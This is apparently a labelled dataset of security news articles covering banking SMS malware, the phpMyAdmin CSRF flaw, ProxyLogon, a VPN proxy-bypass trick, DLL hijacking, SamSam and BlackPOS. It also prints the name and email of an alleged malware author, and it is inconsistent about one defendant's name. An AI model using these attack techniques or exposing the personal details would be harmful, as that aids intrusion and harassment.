Once installed, the packages forward all incoming SMS messages to one of two command and control numbers located in Sweden, with the aim of snaring secure codes and other data. Kaspersky found mobile users in Spain, Italy and Germany were targeted by these fresh variants, with two command and control (C&C) numbers found on Sweden's Tele2 operator.
""The analysis of new Blackberry ZitMo files showed that there are no major changes. Virus writers finally fixed grammar mistake in the 'App Instaled OK' phrase, which is sent via SMS to C&C cell phone number when smartphone has been infected. Instead of 'BLOCK ON' or 'BLOCK OFF' commands (blocking or unblocking all incoming and outgoing calls) now there are 'BLOCK' and 'UNBLOCK' commands. Other commands which are received via SMS remain the same."" Denis Maslennikov, a researcher at Kaspersky Lab.

The tactic is designed to help the criminals circumvent the out-of-band authentication systems used by many European banks, by hijacking the one-time password authentication password sent via SMS.

Earlier this year, Kaspersky warned of a set of malicious Android applications posing as security software. Zeus was sitting behind those apps, ready to siphon off text messages.

",Vulnerability
Critical Flaw Reported In phpMyAdmin Lets Attackers Damage Databases,https://thehackernews.com/2018/01/phpmyadmin-hack.html,"A critical security vulnerability has been reported in phpMyAdmin—one of the most popular applications for managing the MySQL database—which could allow remote attackers to perform dangerous database operations just by tricking administrators into clicking a link.

Discovered by an Indian security researcher, Ashutosh Barot, the vulnerability is a cross-site request forgery (CSRF) attack and affects phpMyAdmin versions 4.7.x (prior to 4.7.7).

Cross-site request forgery vulnerability, also known as XSRF, is an attack wherein an attacker tricks an authenticated user into executing an unwanted action.

According to an advisory released by phpMyAdmin, ""by deceiving a user to click on a crafted URL, it is possible to perform harmful database operations such as deleting records, dropping/truncating tables, etc.""

phpMyAdmin is a free and open source administration tool for MySQL and MariaDB and is widely used to manage the database for websites created with WordPress, Joomla, and many other content management platforms.

Moreover, a lot of hosting providers use phpMyAdmin to offer their customers a convenient way to organize their databases.
Barot has also released a video, as shown above, demonstrating how a remote attacker can make database admins unknowingly delete (DROP) an entire table from the database just by tricking them into clicking a specially crafted link.

""A feature of phpMyAdmin was using a GET request and after that POST request for Database operations such as DROP TABLE table_name; GET requests must be protected against CSRF attacks. In this case, POST requests were used which were sent through URL (for bookmarking purpose may be); it was possible for an attacker to trick a database admin into clicking a button and perform a drop table database query of the attacker's choice."" Barot explains in a blog post.

However, performing this attack is not simple as it may sound. To prepare a CSRF attack URL, the attacker should be aware of the name of targeted database and table.

""If a user executes a query on the database by clicking insert, DROP, etc. buttons, the URL will contain database name and table name,"" Barot says. ""This vulnerability can result in the disclosure of sensitive information as the URL is stored at various places such as browser history, SIEM logs, Firewall Logs, ISP Logs, etc.""

Barot reported the vulnerability to phpMyAdmin developers, who confirmed his finding and released phpMyAdmin 4.7.7 to address this issue. So administrators are highly recommended to update their installations as soon as possible.

",Vulnerability
Internet Traffic Hijacking Linux Flaw Affects 80% of Android Devices,https://thehackernews.com/2016/08/hack-linux-android.html,"An estimated 80 percent of Android smartphones and tablets running Android 4.4 KitKat and higher are vulnerable to a recently disclosed Linux kernel flaw that allows hackers to terminate connections, spy on unencrypted traffic or inject malware into the parties' communications.

Even the latest Android Nougat Preview is considered to be vulnerable.

The security flaw was first appeared in the implementation of the TCP protocol in all Linux systems deployed since 2012 (version 3.6 and above of the Linux OS kernel) and the Linux Foundation has already patched the Linux kernel on July 11, 2016.

However, the vulnerability (CVE-2016-5696) is now affecting a large portion of the Android ecosystem.

According to a blog post published Monday by mobile security firm Lookout, the Linux flaw is present in Android version 4.4 KitKat and all future releases, including the latest developer preview of Android Nougat.

Around 1.4 BILLLLLION Android Devices Affected

This means that 80% of all Android devices in use today, which is nearly 1.4 Billion devices, are vulnerable to attacks, enabling hackers to spy on your communications without even compromising your network via man-in-the-middle-attack.

However, the good news is that the Linux vulnerability is complicated and difficult to exploit, but the risk is there especially for targeted attacks.
""While a man-in-the-middle attack is not required here, the attacker still needs to know a source and destination IP address to successfully execute the attack,"" Lookout stated in the blog post.
Windows and Macs are not affected by the vulnerability.

According to Google, engineers are already aware of the vulnerability and are ""taking the appropriate actions"" to fix the issue, a Google representative told Ars Technica. So, it is likely that a patch for Android will arrive soon.

Temporary Mitigation:
Make sure your Internet traffic is encrypted: Apps you use and Websites you visit should employ HTTPS.
Use a Virtual Private Network (VPN).
To know more about the Linux kernel flaw and its mitigation, you can head on to our post, titled ""Linux TCP Flaw allows Hackers to Hijack Internet Traffic and Inject Malware Remotely.""

",Vulnerability
Vulnerability in Whatsapp messenger media server,https://thehackernews.com/2013/06/Hacking-whatsapp-android-application.html,"If you own an iPhone or an Android device, then the chances are high that you're familiar with the extremely popular cross-platform messaging app, WhatsApp.


According to a whitehat hacker Mohammed Saeed, Whatsapp media server (media.whatsapp.com) interface was vulnerable to Traversal local file inclusion. This vulnerability occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected.

Flaw allowed hacker to gather usernames via an ""/etc/passwd"" file and also another sensitive files like log files i.e ""/apache/logs/error.log"" or ""/apache/logs/access.log"".

Flaw was reported by Mohammed with proof of conpect to Whatsapp security team on 27th May and was addressed this week.

If you are also penetration tester and have something buggy that can help Whatsapp team to make there service more secure, feel free to contact them at support@whatsapp.com.

",Vulnerability
Microsoft Won't Patch a Severe Skype Vulnerability Anytime Soon,https://thehackernews.com/2018/02/hacking-skype.html,"A serious vulnerability has been discovered in Microsoft-owned most popular free web messaging and voice calling service Skype that could potentially allow attackers to gain full control of the host machine by granting system-level privileges to a local, unprivileged user.

The worst part is that this vulnerability will not be patched by Microsoft anytime soon.

It's not because the flaw is unpatchable, but because fixing the vulnerability requires a significant software rewrite, which indicates that the company will need to issue an all-new version of Skype rather than just a patch.

The vulnerability has been discovered and reported to Microsoft by security researcher Stefan Kanthak and resides in Skype's update installer, which is susceptible to Dynamic Link Libraries (DLL) hijacking.

According to the researcher, a potential attacker could exploit the ""functionality of the Windows DLL loader where the process loading the DLL searches for the DLL to be loaded first in the same directory in which the process binary resides and then in other directories.""

The exploitation of this preferential search order would allow the attacker to hijack the update process by downloading and placing a malicious version of a DLL file into a temporary folder of a Windows PC and renaming it to match a legitimate DLL that can be modified by an unprivileged user without having any special account privileges.

When Skype's update installer tries to find the relevant DLL file, it will find the malicious DLL first, and thereby will install the malicious code.

Although Kanthak demonstrated the attack using the Windows version of Skype, he believes the same DLL hijacking method could also work against other operating systems, including Skype versions for macOS and Linux.

Kanthak informed Microsoft of the Skype vulnerability back in September, but the company told him that the patch would require the Skype update installer go through ""a large code revision,"" Kanthak told ZDNet.

So rather than releasing a security update, Microsoft decided to build an altogether new version of the Skype client that would address the vulnerability.

It should be noted that this vulnerability only affects the Skype for the desktop app, which uses its update installer which is vulnerable to the DLL hijacking technique. The Universal Windows Platform (UWP) app version available from the Microsoft Store for Windows 10 PCs is not affected.
The vulnerability has been rated as ""medium"" in severity, but Kanthak said, ""the attack could be easily weaponized."" He gave two examples, which have not been released yet.
Until the company issues an all-new version of Skype client, users are advised to exercise caution and avoid clicking on attachments provided in an email. Also, make sure you run appropriate and updated anti-virus software that offers some defence against such attacks.

This is not the first time Skype has been dealing with a severe security flaw. In June 2017, a critical flaw in Skype was revealed before Microsoft released a fix for the issue that allowed hackers to crash systems and execute malicious code in them.

Last month, among several messaging applications, Skype was also dealing with a critical remote code execution vulnerability in Electron—a popular web application framework widely-used in desktop applications.

",Vulnerability
Plugx RAT targeting government organizations in Japan using spear phishing,https://thehackernews.com/2012/09/plugx-rat-targeting-government.html,"Roland Dela Paz (Threat Researcher) at TrendMirco reported that last year a Malware Campaign to target specific users in Japan, China, and Taiwan once again on rise using new breed of Remote Access Tool (RAT) called Plugx (also known as Korplug). This new custom made version comes for less recognition and more elusiveness from security researchers.

He also mention that last year campaign used the Poison Ivy RAT, but now its Plugx take its place. ""Similar to previous Poison Ivy campaigns, it also arrives as an attachment to spear-phished emails either as an archived, bundled file or specially crafted document that exploits a vulnerability in Adobe Acrobat Reader or Microsoft Office. We've also encountered an instance of Plugx aimed at a South Korean Internet company and a U.S. engineering firm."" Roland mentioned.

The attached pdf exploits CVE-2010-2883 (with Plugx (RAT) payload connects to a command and control (C&C) server named {BLOCKED}eo.flower-show.org.

CVE-2010-2883: Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010)

This C&C server appeared to be have been used by Poison Ivy and PlugX variants. According to Roland this rat drop a file at %System Root%\Documents and Settings\All Users\SxS\bug.log which contain it own errors and then possibly it uploads back to attacker server for Auditing. This shows that , this variant is still in beta stage. Trend Micro monitoring PlugX's development and We at THE HACKER NEWS, will update you with new info when published.

",Vulnerability
ProxyLogon PoC Exploit Released; Likely to Fuel More Disruptive Cyber Attacks,https://thehackernews.com/2021/03/proxylogon-exchange-poc-exploit.html,"The U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) on Wednesday issued a joint advisory warning of active exploitation of vulnerabilities in Microsoft Exchange on-premises products by nation-state actors and cybercriminals.
""CISA and FBI assess that adversaries could exploit these vulnerabilities to compromise networks, steal information, encrypt data for ransom, or even execute a destructive attack,"" the agencies said. ""Adversaries may also sell access to compromised networks on the dark web.""
The attacks have primarily targeted local governments, academic institutions, non-governmental organizations, and business entities in various industry sectors, including agriculture, biotechnology, aerospace, defense, legal services, power utilities, and pharmaceutical, which the agencies say are in line with previous activity conducted by Chinese cyber actors.
Tens of thousands of entities, including the European Banking Authority and the Norwegian Parliament, are believed to have been breached to install a web-based backdoor called the China Chopper web shell that grants the attackers the ability to plunder email inboxes and remotely access the target systems.
The development comes in light of the rapid expansion of attacks aimed at vulnerable Exchange Servers, with multiple threat actors exploiting the vulnerabilities as early as February 27 before they were eventually patched by Microsoft last week, swiftly turning what was labeled as ""limited and targeted"" into an indiscriminate mass exploitation campaign.
While there is no concrete explanation for the widespread exploitation by so many different groups, speculations are that the adversaries shared or sold exploit code, resulting in other groups being able to abuse these vulnerabilities, or that the groups obtained the exploit from a common seller.
From RCE to Web Shells to Implants
On March 2, 2021, Volexity publicly disclosed the detection of multiple zero-day exploits used to target flaws in on-premises versions of Microsoft Exchange Servers, while pegging the earliest in-the-wild exploitation activity on January 3, 2021.
Successful weaponization of these flaws, called ProxyLogon, allows an attacker to access victims' Exchange Servers, enabling them to gain persistent system access and control of an enterprise network.
Although Microsoft initially pinned the intrusions on Hafnium, a threat group that's assessed to be state-sponsored and operating out of China, Slovakian cybersecurity firm ESET on Wednesday said it identified no fewer than 10 different threat actors that likely took advantage of the remote code execution flaws to install malicious implants on victims' email servers.
Apart from Hafnium, the five groups detected as exploiting the vulnerabilities prior to the patch release are Tick, LuckyMouse, Calypso, Websiic, and Winnti (aka APT41 or Barium), with five others (Tonto Team, ShadowPad, ""Opera"" Cobalt Strike, Mikroceen, and DLTMiner) scanning and compromising Exchange servers in the days immediately following the release of the fixes.
No conclusive evidence has emerged so far connecting the campaign to China, but DomainTools' Senior Security Researcher Joe Slowik noted that several of the aforementioned groups have been formerly linked to China-sponsored activity, including Tick, LuckyMouse, Calypso, Tonto Team, Mikroceen, and the Winnti Group, indicating that Chinese entities other than Hafnium are tied to the Exchange exploitation activity.
""It seems clear that there are numerous clusters of groups leveraging these vulnerabilities, the groups are using mass scanning or services that allow them to independently target the same systems, and finally there are multiple variations of the code being dropped, which may be indicative of iterations to the attack,"" Palo Alto Networks' Unit 42 threat intelligence team said.
In one cluster tracked as ""Sapphire Pigeon"" by researchers from U.S.-based Red Canary, attackers dropped multiple web shells on some victims at different times, some of which were deployed days before they conducted follow-on activity.
According to ESET's telemetry analysis, more than 5,000 email servers belonging to businesses and governments from over 115 countries are said to have been affected by malicious activity related to the incident. For its part, the Dutch Institute for Vulnerability Disclosure (DIVD) reported Tuesday that it found 46,000 servers out of 260,000 globally that were unpatched against the heavily exploited ProxyLogon vulnerabilities.
Troublingly, evidence points to the fact that the deployment of the web shells ramped up following the availability of the patch on March 2, raising the possibility that additional entities have opportunistically jumped in to create exploits by reverse engineering Microsoft updates as part of multiple, independent campaigns.
""The day after the release of the patches, we started to observe many more threat actors scanning and compromising Exchange servers en masse,"" said ESET researcher Matthieu Faou. ""Interestingly, all of them are APT groups focused on espionage, except one outlier that seems related to a known coin-mining campaign (DLTminer). It is still unclear how the distribution of the exploit happened, but it is inevitable that more and more threat actors, including ransomware operators, will have access to it sooner or later.""
Aside from installing the web shell, other behaviors related to or inspired by Hafnium activity include conducting reconnaissance in victim environments by deploying batch scripts that automate several functions such as account enumeration, credential-harvesting, and network discovery.
Public Proof-of-Concept Available
Complicating the situation further is the availability of what appears to be the first functional public proof-of-concept (PoC) exploit for the ProxyLogon flaws despite Microsoft's attempts to take down exploits published on GitHub over the past few days.
""I've confirmed there is a public PoC floating around for the full RCE exploit chain,"" security researcher Marcus Hutchins said. ""It has a couple bugs but with some fixes I was able to get shell on my test box.""
Also accompanying the PoC's release is a detailed technical write-up by Praetorian researchers, who reverse-engineered CVE-2021-26855 to build a fully functioning end-to-end exploit by identifying differences between the vulnerable and patched versions.
While the researchers deliberately decided to omit critical PoC components, the development has also raised concerns that the technical information could further accelerate the development of a working exploit, in turn triggering even more threat actors to launch their own attacks.
As the sprawling hack's timeline slowly crystallizes, what's clear is that the surge of breaches against Exchange Server appears to have happened in two phases, with Hafnium using the chain of vulnerabilities to stealthily attack targets in a limited fashion, before other hackers began driving the frenzied scanning activity starting February 27.
Cybersecurity journalist Brian Krebs attributed this to the prospect that ""different cybercriminal groups somehow learned of Microsoft's plans to ship fixes for the Exchange flaws a week earlier than they'd hoped.""
""The best advice to mitigate the vulnerabilities disclosed by Microsoft is to apply the relevant patches,"" Slowik said. ""However, given the speed in which adversaries weaponized these vulnerabilities and the extensive period of time pre-disclosure when these were actively exploited, many organizations will likely need to shift into response and remediation activities to counter existing intrusions.""

",Vulnerability
Warning – 3 Popular VPN Services Are Leaking Your IP Address,https://thehackernews.com/2018/03/vpn-leak-ip-address.html,"Researchers found critical vulnerabilities in three popular VPN services that could leak users' real IP addresses and other sensitive data.

VPN, or Virtual Private Network, is a great way to protect your daily online activities that work by encrypting your data and boosting security, as well as useful to obscure your actual IP address.

While some choose VPN services for online anonymity and data security, one major reason many people use VPN is to hide their real IP addresses to bypass online censorship and access websites that are blocked by their ISPs.

But what if when the VPN you thought is protecting your privacy is actually leaking your sensitive data and real location?

A team of three ethical hackers hired by privacy advocate firm VPN Mentor revealed that three popular VPN service providers—HotSpot Shield, PureVPN, and Zenmate—with millions of customers worldwide were found vulnerable to flaws that could compromise user's privacy.

The team includes application security researcher Paulos Yibelo, an ethical hacker known by his alias 'File Descriptor' and works for Cure53, and whereas, the identity of third one has not been revealed on demand.

PureVPN is the same company who lied to have a 'no log' policy, but a few months ago helped the FBI with logs that lead to the arrest of a Massachusetts man in a cyberstalking case.

After a series of privacy tests on the three VPN services, the team found that all three VPN services are leaking their users' real IP addresses, which can be used to identify individual users and their actual location.

Concerning consequences for end users, VPN Mentor explains that the vulnerabilities could ""allow governments, hostile organizations [sic], or individuals to identify the actual IP address of a user, even with the use of the VPNs.""

The issues in ZenMate and PureVPN have not been disclosed since they haven't yet patched, while VPN Mentor says the issues discovered in ZenMate VPN were less severe than HotSpot Shield and PureVPN.

The team found three separate vulnerabilities in AnchorFree's HotSpot Shield, which have been fixed by the company. Here's the list:
Hijack all traffic (CVE-2018-7879) — This vulnerability resided in Hotspot Shield's Chrome extension and could have allowed remote hackers to hijack and redirect victim's web traffic to a malicious site.
DNS leak (CVE-2018-7878) — DNS leak flaw in Hotspot Shield exposed users' original IP address to the DNS server, allowing ISPs to monitor and record their online activities.
Real IP Address leak (CVE-2018-7880) — This flaw poses a privacy threat to users since hackers can track user's real location and the ISP. the issue occurred because the extension had a loose whitelist for ""direct connection."" Researchers found that any domain with localhost, e.g., localhost.foo.bar.com, and 'type=a1fproxyspeedtest' in the URL bypass the proxy and leaks real IP address.
Here it must be noted that all the three vulnerabilities were in the HotSpot Shield's free Chrome plug-in, not in the desktop or smartphone apps.

The researchers also reported similar vulnerabilities in the Chrome plugins of Zenmate and PureVPN, but for now, the details of the bugs are being kept under wraps since both the manufacturers have not yet fixed them.

Researchers believe that most other VPN services also suffer from similar issues.

",Vulnerability
Microsoft Says Russia Tried to Hack Three 2018 Midterm Election Candidates,https://thehackernews.com/2018/07/russia-election-hacking.html,"Microsoft said it detected and helped the US government to block Russian hacking attempts against at least three congressional candidates this year, a Microsoft executive revealed speaking at the Aspen Security Forum today.

Although the company refused to name the targets but said, the three candidates were ""people who, because of their positions, might have been interesting targets from an espionage standpoint as well as an election disruption standpoint.""

According to the company, the Russian hackers targeted the candidates' staffers with phishing attacks, redirecting them to a fake Microsoft website, in an attempt to steal their credentials.

""Earlier this year, we did discover that a fake Microsoft domain had been established as the landing page for phishing attacks,"" said Tom Burt, Microsoft's vice president for customer security.

""And we saw metadata that suggested those phishing attacks were being directed at three candidates who are all standing for election in the midterm elections.""

Immediately after learning of this incident, Microsoft took down the fake domain and worked with the government to ""avoid anybody being infected by that particular attack.""
The company also ensured that none of the targeted campaign staffers were infected by the attack.

Burt specified that the hacking attempts were conducted by a Russian hacking group, though so far the group has been less active compared to 2016, during the U.S. presidential election.

Microsoft ""discovered that these [fake domains] were being registered by an activity group that at Microsoft we call Strontium...that's known as Fancy Bear or APT 28,"" Burt said.

""The consensus of the threat intelligence community right now is [that] we do not see the same level of activity by the Russian activity groups leading into the mid-year elections that we could see when we look back at them at that 2016 elections,"" he added.

For instance, Burt said the hackers are not infiltrating think tanks and targeting academia experts that they did during the 2016 presidential election.

However, Burt warned that ""That does not mean we're not going to see it, there is a lot of time left before the election.""
",Cyber_Attack
U.S Charges Two Iranian Hackers for SamSam Ransomware Attacks,https://thehackernews.com/2018/11/samsam-ransomware-iranian-hackers.html,"The Department of Justice announced Wednesday charges against two Iranian nationals for their involvement in creating and deploying the notorious SamSam ransomware.

The alleged hackers, Faramarz Shahi Savandi, 34, and Mohammad Mehdi Shah, 27, have been charged on several counts of computer hacking and fraud charges, the indictment unsealed today at New Jersey court revealed.

The duo used SamSam ransomware to extort over $6 million in ransom payments since 2015, and also caused more than $30 million in damages to over 200 victims, including hospitals, municipalities, and public institutions.

According to the indictment, Savandi and Mansouri have been charged with a total of six counts, including one count of conspiracy to commit wire fraud, one count of conspiracy to commit fraud and related activity in connection with computers, two counts of intentional damage to a protected computer, and two counts of transmitting a demand in relation to damaging a protected computer.

Since both hackers live in and operated from Iran, they have not yet been arrested by the United States authorities and the FBI has added them on their list of wanted hackers.

According to the indictment, Savandi and Mansouri created the first version of the SamSam Ransomware in December 2015 and created further refined versions of the threat in June and October 2017.
""Defendants authored various versions of the SamSam Ransomware, which was designed to encrypt data on Victim computers. SamSam Ransomware was designed to maximize the damage caused to the Victim by, for instance, also encrypting backups of the targeted computers,"" the indictment says.
""Defendants used a variety of methods to gain access to Victim computer networks, including exploiting known security vulnerabilities in common server software and utilizing virtual private servers such as European VPS #1 and European VPS #2 to mask their identities.""
Unlike most ransomware infections, SamSam was not distributed in an unplanned way via spam email campaigns. Instead, the attackers chose potential targets and infected systems manually.

Attackers first compromised the RDP on a targeted system—either by conducting brute force attacks or using stolen credentials—and then attempted to strategically deploy SamSam throughout the network by exploiting vulnerabilities in other systems.

Once on the entire network, SamSam encrypts the system's data and demands a huge ransom payment (usually more than $50,000 which is much higher than normal) in Bitcoin in exchange for the decryption keys.

Since December 2015, SamSam has significantly targeted some large organizations, including the Atlanta city government, the Colorado Department of Transportation, several hospitals and educational institutions like the Mississippi Valley State University.
""According to the indictment, [affected victims includes] the City of Atlanta, the City of Newark, the Port of San Diego, the Colorado Department of Transportation, the University of Calgary, Hollywood Presbyterian Medical Centers, Kansas Heart Hospital, MedStar Health, Nebraska Orthopedic Hospital, and Allscripts Healthcare Solutions Inc.""
The Atlanta city's officials refused to pay the ransomware, and the recovery effort cost them estimated $17 million.

Leaving behind other well-known ransomware viruses like WannaCry and NotPetya, SamSam became the largest paid ransomware of its kind with one individual victim paid $64,000.

Since Iran has no extradition policy with the United States, the indictment may not guarantee the extraditions or convictions of the two alleged hackers. But being on the wanted list of the FBI make it difficult for the duo to travel outside their country's boundary freely.
",Cyber_Attack
Joomscan Security Scanner - Detect more than 550 Joomla vulnerabilities,https://thehackernews.com/2011/11/joomscan-security-scanner-detect-more.html,"Joomscan Security Scanner - Detect more than 550 Joomla vulnerabilities

Joomscan Security Scanner updated recently with new database have 550 vulnerabilities. Detects file inclusion, sql injection, command execution vulnerabilities of a target Joomla web site. Last update for this tool was in August, 2009 with 466 vulnerabilities.
How to Use Joomscan, read here.


In joomscan you can check for new updates with command: ./joomscan.pl check or ./joomscan.pl update.
Download for Windows (141 KB)
Download for Linux (150 KB)
More Info

",Vulnerability
"Samsung Launches Bug Bounty Program — Offering up to $200,000 in Rewards",https://thehackernews.com/2017/09/samsung-bug-bounty-program.html,"With the growing number of cyber attacks and data breaches, a number of tech companies and organisations have started Bug Bounty programs for encouraging hackers, bug hunters and researchers to find and responsibly report bugs in their services and get rewarded.

Samsung is the latest in the list of tech companies to launch a bug bounty program, announcing that the South Korean electronics giant will offer rewards of up to $200,000 to anyone who discovers vulnerabilities in its mobile devices and associated software.

Dubbed Mobile Security Rewards Program, the newly-launched bug bounty program will cover 38 Samsung mobile devices released from 2016 onwards which currently receive monthly or quarterly security updates from the company.

So, if you want to take part in the Samsung Mobile Security Rewards Program, you have these devices as your target—the Galaxy S, Galaxy Note, Galaxy A, Galaxy J, and the Galaxy Tab series, as well as Samsung's flagship devices, the S8, S8+, and Note 8.
""We take security and privacy issues very seriously; and as an appreciation for helping Samsung Mobile improve the security of our products and minimizing risk to our end-consumers, we are offering a rewards program for eligible security vulnerability reports,"" the company explains on its bug bounty website.
""We look forward to your continued interests and participations in our Samsung Mobile Security Rewards Program. Through this rewards program, we hope to build and maintain valuable relationships with researchers who coordinate disclosure of security issues with Samsung Mobile.""
Not just mobile devices, the tech giant's Mobile Services suite is also part of its bug bounty program, which will also cover apps and services such as Bixby, Samsung Account, Samsung Pay, Samsung Pass, among others.

For the eligibility of a reward, researchers and bug hunters need to provide a valid proof-of-concept (PoC) exploit that can compromise a Samsung handset without requiring any physical connection or third-party application.

The company will evaluate the reward depending on the severity level of the vulnerability (Critical, High, Moderate, and Low) and its impact on devices. The least reward is $200, which is for low-severity flaws, while the highest reward is $200,000, which is for critical bugs.

The Higher reward will be offered for bugs that lead to trusted execution environment (TEE) or Bootloader compromise. The level of severity will be determined by Samsung.

Samsung's bounty of $200,000 is equal to the bounty reward offered under Apple's bug bounty program but is slightly lower than Microsoft's newly launched bounty program that offers $250,000 for Windows 10 security bugs.

Following the path of major tech companies, the non-profit group behind Tor Project recently joined hands with HackerOne to launch its own bug bounty program, with the highest payout for the flaws has been kept $4,000.

So, what you are waiting for? Hunt for bugs in Samsung products and submit your findings to the company via the Security Reporting page.

",Vulnerability
More than 100 Pakistani Government Sites Under Malware attack,https://thehackernews.com/2011/11/more-than-100-pakistani-government.html,"More than 100 Pakistani Government Sites Under Malware attack



Website Malware : A newer form of malware is what can be found attacking websites today. In the old days malware was mostly in the form of computer viruses. In today's age of globalization, malware starts to target websites and mobile devices.

Almost 100's of Pakistan Government sites are under attack by Godzilla Malware, Which is Created and implemented by an Indian Hacker. Hacker named ""Godzilla"" publish a list of all Freezed sites list here ,including Peshawar Electric Supply Company website (www.pesco.gov.pk), Ministry of Information and Broadcasting - Government of Pakistan website (www.infopak.gov.pk), Pakistan Navy website (www.paknavy.gov.pk) and Many more.

Hacker said,""The malware is freezing the sever and if the server is changed then banner of malware hits the live ip..""

Today malware is much more sinister. It is backed up by an industry which some estimate at $2 billion a year. It is all about making money. Get More Malware News on The Hacker News.

",Malware
Chinese Hackers Steal Info from top secret U.S military data,https://thehackernews.com/2013/05/chinese-hackers-steal-info-from-top.html,"QinetiQ, a UK-based defense contractor suffers humiliation as intelligence officials confirmed that China was able to steal the U.S. classified documents and pertinent technological information all this because of QinetiQ's faulty decision-making.

QinetiQ North America (QQ) a world leading defense technology and security company providing satellites, drones and software services to the U.S. Special Forces deployed in Afghanistan and Middle East.

The hacking was so extensive that external consultants ended up more or less working permanently inside the firm to root out malicious software and compromises on an ongoing basis. In one of the attacks, that took place in 2009, the hackers raided at least 151 machines of the firm's Technology Solutions Group (TSG) over a 251-day period, stealing 20 gigabytes of data before being blocked.
As the White House moves to confront China over its theft of U.S. technology through hacking, policy makers are faced with the question of how much damage has already been done. 1.3 million pages of documents, including ones containing highly sensitive military information, were stolen at the time.

The agent had stumbled upon the breach as part of a separate investigation but apparently left out many key details including the fact that other contractors were being hit. Through 2008, is said to have treated the continuing pattern of hacks traced to its buildings as isolated incidents, including the compromise of 13,000 server passwords that attackers were used to help steal huge amounts of classified military engineering data.

QinetiQ committed the first mistake as it restricts its investigation on the first discovery of the spying. Even when NASA warned the firm that it was being attacked by hackers from one of QinetiQ's computers the firm apparently continued to treat incidents in isolation.

The hackers were able to exploit unpatched security flaws and other vulnerabilities across QNA to infiltrate multiple divisions of the company including Cyveillance, the company's cybersecurity unit. In 2010, HBGary, the security firm hacked in 2011 by Anonymous, was hired by QinetiQ along with Terremark to investigate the attacks. HBGary almost immediately identified malicious software on most of QinetiQ's computers.

The spying on QinetiQ and other defense contractors appears aimed at helping China leapfrog the U.S.'s technologically advanced military, foregoing years of research and development that would have cost billions of dollars

",Vulnerability
"Art of twitter account hacking, now or never !",https://thehackernews.com/2012/11/art-of-twitter-account-hacking-now-or.html,"Phishing is most commonly perpetrated through the mass distribution of e-mail messages directing users to a fraud web site or services. These professional criminals daily find new ways to commit old crimes, treating cyber crime like a business and forming global criminal communities. Another latest scam has been notified by GFI that, where cyber criminals are offering the art of hacking Twitter accounts with a web-based exploit.

Phishers are sending scam emails and offering fake twitter account hacking service, which in actual will hack their own twitter accounts.
Email from phishers have text, ""Do you want to learn how to hack twitter? Are you looking for a way to hack your friends twitter account without them finding out? Interested in finding out ways to hack someone's profile? Maybe you want to take a quick peek at their direct message inbox, steal their username or find a glitch to use a hacking script,"".

Hackers try to convince readers by showing a exploit code, and explain that how exactly the hack will be performed. Here phisher actually trying to trick user by asking values of parameters used in exploit, such as Victim username, your twitter username and your twitter password (in order to show authenticity).

Once reader will agree with the service in order to use it, they ask the end-user to email the above information to the site owner, along with fake code waffle as the subject line so ""the database knows how to read it in programming language.""

Users have to be very careful and protect themselves from these threats by using appropriate security software and being aware of the tricks used by cyber criminals. In actual there is no such exploit or way which can hack twitter account of anyone by just one click, if it can then our... @TheHackersNews is open for you !

",Malware
Detecting Advanced Persistent Threat with Network Traffic Analysis,https://thehackernews.com/2012/10/detecting-advanced-persistent-threat.html,"A high degree of stealthiness over a prolonged duration of operation in order to do a successful cyber attack can be defined as Advanced Persistent Threat. The attack objectives therefore typically extend beyond immediate financial gain, and compromised systems continue to be of service even after key systems have been breached and initial goals reached.

Today's successful targeted attacks use a combination of social engineering, malware, and backdoor activities. Nart Villeneuve and James Bennett (Senior Threat Researcher) from Trend Mirco provide an ultimate guide for Detecting (APT) Advanced Persistent Threat activities with Network Traffic Analysis, that can be used to identify malware command-and control (C&C) communications related to these attacks, illustrating how even the most high-profile and successful attacks of the past few years could have been discovered.

Paper cover Detecting Remote Access Trojans like The GhostNet, Nitro attack, RSA Breach, Taidoor campaign, Sykipot campaign and more. Nart also talk about the Challenges during Network-Based Detection i.e Two key factors pose challenges to network-based detection encryption and the cloud.

More than 90% of intrusions aren't even discovered by the victims themselves, but through third-party notification. In many cases, the APT has been on the victim network for months or even years, exfiltrating intellectual property data plus economic and political information.

""The ability to detect APT activity at the network level is heavily dependent on leveraging threat intelligence. A variety of very successful ongoing campaigns can be detected at the network level because their communications remain consistent over time.""

To get rid of such attacks you much know that what that information is, where it resides, who has access to it, why they have access and when they access it. Answering these types of questions should give you a clearer picture of what are the most critical pieces in your infrastructure that need your attention.

Modifications made to malware's network communications can, however, disrupt the ability to detect them. As such, the ongoing development of threat intelligence based on increased visibility and information sharing is critical to developing indicators used to detect such activity at the network level.

For advance detection techniques based upon Protocol-aware detection, HTTP headers, Compressed archives, Timing and size you can read complete paper available here.

",Malware
BlackPOS Malware used in TARGET Data Breach developed by 17-Year Old Russian Hacker,https://thehackernews.com/2014/01/BlackPOS-Malware-russian-hacker-Target.html,"The Holiday data breach at TARGET appeared to be part of a broad and highly sophisticated international hacking campaign against multiple retailers, involving the heist of possibly 110 million Credit-Debit cards, and personal information.

Target confirmed last weekend that a malicious software was embedded in point-of-sale (POS) equipment at its checkout counters to collect secure data as the credit cards were swiped during transactions.

The Malware called 'BlackPOS' also known as ""reedum"" or 'Kaptoxa' is an effective crimeware kit, that was created in March 2013 and available in underground sites for $1800-$2000.

Investigators from IntelCrawler found a 17-years old hacker who actually developed the BlackPOS crimeware kit. His nickname is 'ree4' and original name: 'Sergey Taraspov' from St.Petersburg and Nizhniy Novgorod (Russian Federation).
IntelCrawler's sources mentioned that the BlackPOS malware was created in March 2013 and first infected the Point-of-Sales environments in Australia, Canada and the US.

Alleged Russian hacker and malware developer Sergey Taraspov (ree4) sold more than 40 builds of BlackPOS to cybercriminals from Eastern Europe and other countries.

BlackPOS is a RAM-scraping malware totally written in VBScript i.e. It copies credit-card numbers from point-of-sale machines' RAM, in the instant after the cards are swiped and before the numbers are encrypted.

In December, after the TARGET data breach, the Symantec antivirus firm discovered the malware and dubbed as 'Infostealer.Reedum.C'.
'He is a very well known programmer of malicious code in underground and previously he has created several tools used in hacking community for brute force attacks, such as ""Ree4 mail brute"", and also earned some first money with social networks accounts hacking and DDoS attacks trainings, as well as software development including malicious code.'
More details about Sergey Taraspov (ree4):
E-mail 1: ree4@list.ru
